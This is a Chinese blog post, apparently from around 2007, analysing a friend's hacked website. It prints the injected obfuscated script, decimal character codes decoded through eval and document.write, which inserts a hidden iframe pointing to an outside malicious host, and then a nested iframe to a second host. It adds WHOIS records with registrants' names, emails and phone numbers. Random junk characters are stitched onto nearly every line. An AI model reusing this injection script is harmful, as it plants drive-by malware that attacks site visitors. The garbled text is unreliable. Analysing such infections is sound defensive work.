首发在我的博客里面，
>L7s[vKn / ;]5X http://www.areway.cn/?p=175 Jz@~$L ?8b1 9DMK6 ! |cg= 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
GtA`0B Fh oyji4 <script>t=’60,105,102,114,97,109,101,
2QfN .<[- 32,115,114,99,61,104,116,116,112,58,47,47,
drq3=2 102,114,101,101,46,117,45,117,117,117,46,99,
]R__$fl`8 110,47,101,114,114,111,114,46,104,116,109,
kx"1 0Vw 32,119,105,100,116,104,61,49,48,48,32,104,
&.?XntI9O 101,105,103,104,116,61,48,62,60,47,105,102,
m~ =~DMj 114,97,109,101,62′;
$<} c[Nm t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
#~ u0R>= LFp "Waiv <script>t=’60,105,102,114,97,109,101,32,115,
+{J8,^z# 114,99,61,104,116,116,112,58,47,47,102,114,
)- C3z 101,101,46,117,45,117,117,117,46,99,110,47,
0 'QWa{dS\ 101,114,114,111,114,46,104,116,109,32,119,
P15
H[<:Fz 105,100,116,104,61,49,48,48,32,104,101,105,
CD|[PkjW 103,104,116,61,48,62,60,47,105,102,114,97,
"LMj,qZ1! 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
%`Re {%1; document.write(t);</script>
tXD$HeBB? bzg C+yT <html xmlns=”
\o 9 \i kR http://www.w3.org/1999/xhtml JAPr[O& “>
_VtQMg|u <head>
P]_d;\
!"v <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
2eT?qCxqc <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
dUI5,3 * <title>首页 - 爱生活家庭网
'D\Q$ q I=Y>z ^4 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
(i1JRn -f 转换字符串后的大概内容是（谁点击后果自付）：
vvoxK 0 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
/ HTY>b GD
W@/oQr 查询玉米u-uuu.cn的详细信息：
'rQ"Dc1D Domain Name: u-uuu.cn
Ui{%q @ ROID: 20070901s10001s64972306-cn
v3tJtb^'! Domain Status: ok
bOS)vt*V Registrant Organization: 王雷
<n"BPXF~ Registrant Name: 王雷
8[^'PIz Administrative Email:
czlovexs@126.com i!wU8 @ Sponsoring Registrar: 北京万网志成科技有限公司
{ _rfhz Name Server:ns.yovole.com
$6hPTc<C Name Server:ns1.yovole.com
=YO ]m< Registration Date: 2007-09-01 17:54
5j%G7.S\ Expiration Date: 2008-09-01 17:54
6 SSDc/ 最后PING了一下地址 都没有什么….
\l% xuT 3a /n/_D 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
Y.tx$% <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
4w4B\Na>l <script language=”javascript” src=”
YO6BzS/~ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script cTqkM@S >
cNs'GfD } 这个玉米应该有可能是木马作者的：
!3v&+Jrf6 foafau.info的详细信息：
(~T*yH ~ Access to INFO WHOIS information is provided to assist persons in
2ZH+fV?. determining the contents of a domain name registration record in the
Cs,H #L Afilias registry database. The data in this record is provided by
+n3I \7G> Afilias Limited for informational purposes only, and Afilias does not
2_o#Gx' guarantee its accuracy. This service is intended only for query-based
nQ%HtXt; access. You agree that you will use this data only for lawful purposes
vW63j't_ and that, under no circumstances will you use this data to: (a) allow,
{h<D/:^v enable, or otherwise support the transmission by e-mail, telephone, or
@ [$_cGR7 facsimile of mass unsolicited, commercial advertising or solicitations
{7o#Ve to entities other than the data recipient’s own existing customers; or
s0kp(t!fiu (b) enable high volume, automated, electronic processes that send
gT+/nSrLV queries or data to the systems of Registry Operator, a Registrar, or
enoj4g7em^ Afilias except as reasonably necessary to register domain names or
i;[y!U modify existing registrations. All rights reserved. Afilias reserves
FhE{khc# the right to modify these terms at any time. By submitting this query,
1v o)]ff you agree to abide by this policy.
azcPeAe Domain ID:D22418703-LRMS
<N<Q9}`V Domain Name:FOAFAU.INFO
+Y\:Q<eMFg Created On:20-Nov-2007 16:05:42 UTC
I7f ^ 2 Last Updated On:20-Nov-2007 16:05:44 UTC
f)I5=Ijy( Expiration Date:20-Nov-2008 16:05:42 UTC
tF2"IP. Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
~5 ^ Jv m Status:CLIENT DELETE PROHIBITED
3Ob.OwA Status:CLIENT RENEW PROHIBITED
R[WiW RfD Status:CLIENT TRANSFER PROHIBITED
|"H 2'L$ Status:CLIENT UPDATE PROHIBITED
~z,o):q1 } Status:TRANSFER PROHIBITED
(!j#u)O Registrant ID:GODA-040110615
6CJMQi,kn Registrant Name:liu hong
8;PkuJR_] Registrant Organization:
yNT d_XPL Registrant Street1:beijing
IThd\#= Registrant Street2:
&W `xZyb3 Registrant Street3:
R>Ra~ b Registrant City:beijing
n|`3d~9$& Registrant State/Province:
n ]ikc| Registrant Postal Code:100000
c:[k+_Zr Registrant Country:CN
>rnVT K Registrant Phone:+86.860108888777
Z$oy;j99y Registrant Phone Ext.:
h}bfZL Registrant FAX:
E?m~DYnU Registrant FAX Ext.:
q76POytV| Registrant Email:bbbshiji@163.com
'CLZ7 pV Admin ID:GODA-240110615
qnm_#!&uHT Admin Name:liu hong
(8 nv&| Admin Organization:
]@q%d sz Admin Street1:beijing
en<mm#Ab Admin Street2:
Lu.zc='\ Admin Street3:
UHBXq;?&q Admin City:beijing
K^ - 1M? Admin State/Province:
w~'xZ?
Admin Postal Code:100000
9&Y@g)+2 Admin Country:CN
@Z)|_ Admin Phone:+86.860108888777
\l+v,ELX= Admin Phone Ext.:
_03?XUKV Admin FAX:
6&3,fSP Admin FAX Ext.:
!, 4ag 1 Admin Email:bbbshiji@163.com
V0ze7tSG[f Billing ID:GODA-340110615
8^mE< Billing Name:liu hong
|r m elQ- Billing Organization:
4=PjS<Lu8 Billing Street1:beijing
CB@7 XUR Billing Street2:
: qYp%Ub Billing Street3:
~zp 8%lEe Billing City:beijing
"TRS(d|3 Billing State/Province:
E&[5b4D@< Billing Postal Code:100000
7]{g^g.9- Billing Country:CN
9+.wj/75 Billing Phone:+86.860108888777
D0.
)% Billing Phone Ext.:
%E?Srs}j Billing FAX:
J0G@]H Billing FAX Ext.:
H DVimoOq Billing Email:bbbshiji@163.com
{>&~kM@ Tech ID:GODA-140110615
De $AJl Tech Name:liu hong
"W<Y1$Y=Y Tech Organization:
'uPAG;)m Tech Street1:beijing
P5 S ]h Tech Street2:
%&e jO= r Tech Street3:
cx}Yu8 Tech City:beijing
J8|MK.oD Tech State/Province:
Daf|.5>(@ Tech Postal Code:100000
:uL<UD,vu3 Tech Country:CN
;m/e|_4;y Tech Phone:+86.860108888777
nF3}wCe) Tech Phone Ext.:
O &%'j Tech FAX:
+ikSa8)*i Tech FAX Ext.:
9u= A:n\ Tech Email:bbbshiji@163.com
4;`z6\u9- Name Server:NS27.DOMAINCONTROL.COM
~/O Y1~c Name Server:NS28.DOMAINCONTROL.COM
fv+] iK<{ Name Server:
^BsT>VSH6 Name Server:
*dBy<dIy Name Server:
3bEcKA_z( Name Server:
y]9R#\P/ Name Server:
\i.]-k Name Server:
dab]>% M Name Server:
]>3Y~KH( Name Server:
)|gw5N4; Name Server:
3o.x<G( Name Server:
M!&Hn, 22 Name Server:
{UNH?2 MBLZ:A |
C 接着下载每个文件里面的代码：
xJq|,":gj 一步一步看..
q8 v iC| 
qpQ;,8X-" 
N:j 7J 
:;?$5h*|` 
2a d|v] 
">V&{a-C4 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
